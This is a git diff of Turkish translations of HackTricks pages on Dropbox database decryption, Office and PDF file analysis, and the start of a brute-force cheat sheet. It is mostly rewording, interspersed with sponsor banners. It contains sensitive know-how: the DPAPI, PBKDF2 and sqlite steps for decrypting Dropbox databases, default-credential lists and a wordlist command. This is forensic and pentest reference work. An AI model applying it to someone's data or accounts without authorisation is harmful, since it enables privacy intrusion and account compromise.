Veritabanlarını şu klasörlerde bulabilirsiniz: * `\Users\\AppData\Local\Dropbox` * `\Users\\AppData\Local\Dropbox\Instance1` * `\Users\\AppData\Roaming\Dropbox` -Ve ana veritabanaları şunlardır: +Ve ana veritabanları şunlardır: * Sigstore.dbx * Filecache.dbx * Deleted.dbx * Config.dbx -".dbx" uzantısı, veritabanlarının **şifrelendiği** anlamına gelir. Dropbox, **DPAPI** kullanır ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)) +".dbx" uzantısı, veritabanlarının **şifreli olduğu** anlamına gelir. Dropbox, **DPAPI** kullanır ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)) Dropbox'un kullandığı şifrelemeyi daha iyi anlamak için [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html) adresini okuyabilirsiniz. -Ancak, temel bilgiler şunlardır: +Ancak, ana bilgiler şunlardır: -* **Entropy**: d114a55212655f74bd772e37e64aee9b -* **Salt**: 0D638C092E8B82FC452883F95F355B8E +* **Entropi**: d114a55212655f74bd772e37e64aee9b +* **Tuz**: 0D638C092E8B82FC452883F95F355B8E * **Algoritma**: PBKDF2 * **İterasyonlar**: 1066 -Bu bilgilerin yanı sıra, veritabanlarını şifrelemek için hala ihtiyacınız olanlar: +Bu bilgilerin yanı sıra, veritabanlarını şifrelemek için hala gerekenler: -* **Şifrelenmiş DPAPI anahtarı**: Bu anahtarı, `NTUSER.DAT\Software\Dropbox\ks\client` içinde kayıt defterinde bulabilirsiniz (bu veriyi ikili olarak dışa aktarın) +* **Şifreli DPAPI anahtarı**: Bu veriyi `NTUSER.DAT\Software\Dropbox\ks\client` içinde kayıt defterinde bulabilirsiniz (bu veriyi ikili olarak dışa aktarın) * **`SYSTEM`** ve **`SECURITY`** hive'ları -* **DPAPI anahtarları**: Bunlar, `\Users\\AppData\Roaming\Microsoft\Protect` dizininde bulunabilir -* Windows kullanıcısının **kullanıcı adı** ve **parolası** +* **DPAPI anahtarları**: Bunlar `\Users\\AppData\Roaming\Microsoft\Protect` içinde bulunabilir +* Windows kullanıcısının **kullanıcı adı** ve **şifresi** -Ardından, [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**** aracını kullanabilirsiniz: +Ardından [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)** aracını kullanabilirsiniz:** ![](<../../../.gitbook/assets/image (448).png>) -Her şey beklenildiği gibi giderse, araç, orijinali kurtarmak için gereken **birincil anahtar**'ı gösterecektir. Orijinali kurtarmak için, bu [cyber\_chef tarifini](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) kullanarak birincil anahtarı tarifin "parola" olarak kullanın. +Her şey beklediğiniz gibi giderse, araç **kullanmanız gereken birincil anahtarı** belirtecektir. Orijinal anahtarı kurtarmak için, bu [cyber\_chef reçetesini](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) alıntı içindeki birincil anahtarı "şifre" olarak kullanarak kullanabilirsiniz. -Sonuçta elde edilen onaltılık, veritabanlarını şifrelemek için kullanılan son anahtardır ve şu şekilde şifrelenmiş veritabanları çözülebilir: +Sonuçta elde edilen onaltılık, veritabanlarını şifrelemek için kullanılan son anahtardır ve şununla şifrelenmiş veritabanlarını çözebilirsiniz: ```bash sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db ``` -**`config.dbx`** veritabanı aşağıdakileri içerir: +**`config.dbx`** veritabanı şunları içerir: - **Email**: Kullanıcının e-posta adresi - **usernamedisplayname**: Kullanıcının adı - **dropbox\_path**: Dropbox klasörünün bulunduğu yol -- **Host\_id: Bulutu doğrulamak için kullanılan hash**. Bu sadece web üzerinden iptal edilebilir. +- **Host\_id**: Buluta kimlik doğrulamak için kullanılan hash. Bu sadece web üzerinden iptal edilebilir. - **Root\_ns**: Kullanıcı kimliği -**`filecache.db`** veritabanı, Dropbox ile senkronize edilen tüm dosya ve klasörlerle ilgili bilgileri içerir. `File_journal` tablosu daha fazla kullanışlı bilgi içerir: +**`filecache.db`** veritabanı, Dropbox ile senkronize edilen tüm dosya ve klasörler hakkında bilgi içerir. En fazla kullanışlı bilgiye sahip olan tablo `File_journal` şudur: -- **Server\_path**: Dosyanın sunucu içinde bulunduğu yol (bu yol, istemcinin `host_id` ile öncelenir). +- **Server\_path**: Sunucu içinde dosyanın bulunduğu yol (bu yol, istemcinin `host_id`'si tarafından önce gelir). - **local\_sjid**: Dosyanın sürümü -- **local\_mtime**: Değiştirilme tarihi +- **local\_mtime**: Değiştirme tarihi - **local\_ctime**: Oluşturma tarihi -Bu veritabanının içindeki diğer tablolar daha ilginç bilgiler içerir: +Bu veritabanındaki diğer tablolar daha ilginç bilgiler içerir: -- **block\_cache**: Dropbox'un tüm dosya ve klasörlerinin hash değeri -- **block\_ref**: `block_cache` tablosundaki hash ID'sini `file_journal` tablosundaki dosya ID'siyle ilişkilendirir -- **mount\_table**: Dropbox paylaşılan klasörler -- **deleted\_fields**: Dropbox silinmiş dosyaları +- **block\_cache**: Dropbox'un tüm dosya ve klasörlerinin hash'i +- **block\_ref**: `block_cache` tablosundaki hash ID'sini `file_journal` tablosundaki dosya ID'si ile ilişkilendirir +- **mount\_table**: Dropbox'un paylaşılan klasörleri +- **deleted\_fields**: Silinen Dropbox dosyaları - **date\_added** -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve **otomatikleştirin**.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin! +Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! -HackTricks'ı desteklemenin diğer yolları: +HackTricks'i desteklemenin diğer yolları: -- Şirketinizi HackTricks'te **reklam vermek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! - [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -- Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin -- 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.** -- Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın. +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu +- 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'da **takip edin**. +- **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek **paylaşın**.
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md index a4499d88f..fe97af51e 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md @@ -1,59 +1,58 @@ -# Office dosya analizi +# Ofis dosyası analizi
-AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin! +AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Red Team Expert)! -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı **takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**. +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\ -Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **Trickest** kullanarak kolayca iş akışları oluşturun ve otomatikleştirin.\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - Daha fazla bilgi için [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) adresini kontrol edin. Bu sadece bir özet: -Microsoft birçok ofis belge formatı oluşturmuştur, iki ana türü **OLE formatları** (RTF, DOC, XLS, PPT gibi) ve **Office Open XML (OOXML) formatları** (DOCX, XLSX, PPTX gibi) olarak adlandırılır. Bu formatlar makrolar içerebilir, bu nedenle phishing saldırıları ve kötü amaçlı yazılımlar için hedef olabilirler. OOXML dosyaları zip konteynerleri olarak yapılandırılmıştır, bu nedenle açılarak incelenebilir, dosya ve klasör hiyerarşisi ile XML dosya içeriği ortaya çıkarılabilir. +Microsoft birçok ofis belge formatı oluşturmuştur, iki ana türü **OLE formatları** (örneğin RTF, DOC, XLS, PPT) ve **Office Open XML (OOXML) formatları** (örneğin DOCX, XLSX, PPTX). Bu formatlar makrolar içerebilir, bu nedenle balık avı ve kötü amaçlı yazılımlar için hedef olabilirler. OOXML dosyaları zip konteynerleri olarak yapılandırılmıştır, bu da açılarak inceleme yapılmasına izin verir, dosya ve klasör hiyerarşisini ve XML dosya içeriğini ortaya çıkarır. -OOXML dosya yapılarını keşfetmek için, bir belgeyi açmak için kullanılan komut ve çıktı yapısı verilmiştir. Bu dosyalarda veri gizleme teknikleri belgelenmiştir, bu da CTF zorluklarında veri gizleme konusunda sürekli yenilik olduğunu göstermektedir. +OOXML dosya yapılarını keşfetmek için belgeyi açmak ve çıktı yapısını gösteren komut verilmiştir. Bu dosyalara veri gizleme teknikleri belgelenmiştir, bu da CTF zorluklarında veri gizleme konusunda devam eden yenilikleri gösterir. -Analiz için **oletools** ve **OfficeDissector**, hem OLE hem de OOXML belgelerini incelemek için kapsamlı araç setleri sunar. Bu araçlar, genellikle kötü amaçlı yazılım dağıtımı için vektör olarak hizmet eden gömülü makroları tanımlamak ve analiz etmek konusunda yardımcı olur. VBA makrolarının analizi, Libre Office kullanılarak Microsoft Office olmadan yapılabilir, bu da kesme noktaları ve izleme değişkenleri ile hata ayıklamaya izin verir. +Analiz için **oletools** ve **OfficeDissector**, hem OLE hem de OOXML belgelerini incelemek için kapsamlı araç setleri sunar. Bu araçlar, genellikle kötü amaçlı yazılım teslimat vektörleri olarak hizmet eden gömülü makroları tanımlamak ve analiz etmek konusunda yardımcı olur, genellikle ek kötü amaçlı yükleri indirip yürüten kötü amaçlı yazılımlar için. VBA makrolarının analizi, Libre Office kullanılarak Microsoft Office olmadan yapılabilir, bu da kesme noktaları ve izleme değişkenleri ile hata ayıklamaya izin verir. -**oletools**'un kurulumu ve kullanımı kolaydır, pip aracılığıyla kurulum için komutlar sağlanmıştır. Makroların otomatik olarak çalıştırılması, `AutoOpen`, `AutoExec` veya `Document_Open` gibi işlevlerle tetiklenir. +**oletools**'un kurulumu ve kullanımı basittir, pip ile kurulum için komutlar sağlanmıştır ve belgelerden makroları çıkarmak için kullanılır. Makroların otomatik olarak yürütülmesi, `AutoOpen`, `AutoExec` veya `Document_Open` gibi işlevlerle tetiklenir. ```bash sudo pip3 install -U oletools olevba -c /path/to/document #Extract macros ``` -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve kolayca çalıştırın.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin! +Sıfırdan kahraman olana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'ı takip edin.** -* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın. +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.** +* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md index 23237cd45..d8de4f5fe 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md @@ -2,51 +2,51 @@
-AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin! +Sıfırdan Kahramana AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi **HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.** -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. +* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
-
+
\ -Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **Trickest**'i kullanarak kolayca iş akışları oluşturun ve otomatikleştirin.\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -**Daha fazla ayrıntı için şuraya bakın: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)** +**Daha fazla ayrıntı için kontrol edin:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) -PDF formatı, verileri gizleme potansiyeli ve karmaşıklığıyla bilinen bir formattır ve CTF adli bilişim zorluklarında odak noktası olabilir. PDF, düz metin öğelerini sıkıştırılmış veya şifrelenmiş olabilen ikili nesnelerle birleştirir ve JavaScript veya Flash gibi dillerde betikler içerebilir. PDF yapısını anlamak için Didier Stevens'ın [giriş materyaline](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) başvurulabilir veya bir metin düzenleyici veya Origami gibi PDF özel bir düzenleyici gibi araçlar kullanılabilir. +PDF formatı, verileri gizleme potansiyeli ve karmaşıklığı ile bilinir, bu da onu CTF adli bilişim zorluklarının odak noktası haline getirir. Basit metin öğelerini sıkıştırılmış veya şifrelenmiş olabilecek ikili nesnelerle birleştirir ve JavaScript veya Flash gibi dillerde betikler içerebilir. PDF yapısını anlamak için Didier Stevens'ın [giriş materyallerine](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) başvurulabilir veya bir metin düzenleyici veya Origami gibi PDF özel düzenleyiciler gibi araçlar kullanılabilir. -PDF'lerin derinlemesine keşfi veya manipülasyonu için [qpdf](https://github.com/qpdf/qpdf) ve [Origami](https://github.com/mobmewireless/origami-pdf) gibi araçlar mevcuttur. PDF'lerdeki gizli veriler aşağıdaki gibi gizlenebilir: +PDF'lerin derinlemesine keşfi veya manipülasyonu için [qpdf](https://github.com/qpdf/qpdf) ve [Origami](https://github.com/mobmewireless/origami-pdf) gibi araçlar mevcuttur. PDF'lerdeki gizli veriler şunlarda gizlenebilir: * Görünmez katmanlar -* Adobe tarafından XMP meta veri formatı +* Adobe'nin XMP meta veri formatı * Artımsal nesiller * Arka planla aynı renkteki metin -* Resimlerin arkasında veya resimlerin üzerinde yer alan metinler +* Resimlerin arkasındaki metin veya resimlerin üst üste binmesi * Görüntülenmeyen yorumlar -Özel PDF analizi için [PeepDF](https://github.com/jesparza/peepdf) gibi Python kütüphaneleri, özel ayrıştırma betikleri oluşturmak için kullanılabilir. Ayrıca, PDF'nin gizli veri depolama potansiyeli o kadar geniştir ki, NSA'nın PDF riskleri ve karşı önlemler konusundaki rehberi, artık orijinal konumunda barındırılmıyor olsa da, hala değerli bilgiler sunmaktadır. [Rehberin bir kopyası](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) ve Ange Albertini'nin [PDF formatı hileleri](https://github.com/corkami/docs/blob/master/PDF/PDF.md) koleksiyonu, konuyla ilgili daha fazla okuma sağlayabilir. +Özel PDF analizi için [PeepDF](https://github.com/jesparza/peepdf) gibi Python kütüphaneleri, özel ayrıştırma betikleri oluşturmak için kullanılabilir. Ayrıca, PDF'nin gizli veri depolama potansiyeli o kadar geniştir ki, NSA'nın PDF riskleri ve karşı önlemler hakkındaki kılavuzu gibi kaynaklar, artık orijinal konumunda barındırılmıyor olsa da hala değerli içgörüler sunmaktadır. Bir [kılavuz kopyası](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) ve Ange Albertini'nin [PDF formatı püf noktaları](https://github.com/corkami/docs/blob/master/PDF/PDF.md) koleksiyonu, konu hakkında daha fazla okuma sağlayabilir.
-AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin! +Sıfırdan Kahramana AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi **HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.** -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
diff --git a/generic-methodologies-and-resources/brute-force.md b/generic-methodologies-and-resources/brute-force.md index b54ba0b7d..d8c5f5ecf 100644 --- a/generic-methodologies-and-resources/brute-force.md +++ b/generic-methodologies-and-resources/brute-force.md @@ -1,30 +1,30 @@ -# Brute Force - Hile Kağıdı +# Brute Force - Kopya Kağıdı -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturabilir ve otomatikleştirebilirsiniz.\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin! +Sıfırdan kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin**. -* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın. +* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar gönderin.
## Varsayılan Kimlik Bilgileri -Kullanılan teknolojinin varsayılan kimlik bilgilerini aramak için **Google'da arama yapın** veya **bu bağlantıları deneyin**: +Kullanılan teknolojinin varsayılan kimlik bilgilerini aramak için google'da arama yapın veya **bu bağlantıları deneyin**: * [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet) * [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) @@ -37,11 +37,11 @@ Kullanılan teknolojinin varsayılan kimlik bilgilerini aramak için **Google'da * [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords) * [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com) * [**https://many-passwords.github.io/**](https://many-passwords.github.io) -* [**https://theinfocentric.com/**](https://theinfocentric.com/) +* [**https://theinfocentric.com/**](https://theinfocentric.com/) ## **Kendi Sözlüklerinizi Oluşturun** -Hedefle ilgili olarak mümkün olduğunca fazla bilgi bulun ve özel bir sözlük oluşturun. Yardımcı olabilecek araçlar: +Hedefle ilgili mümkün olduğunca fazla bilgi bulun ve özel bir sözlük oluşturun. Yardımcı olabilecek araçlar: ### Crunch ```bash @@ -56,15 +56,7 @@ crunch 6 8 -t ,@@^^%% ``` ### Cewl -Cewl, bir hedef web sitesinden metin çekmek için kullanılan bir araçtır. Bu araç, web sitesinin içeriğini analiz eder ve belirli bir kelime veya kelime 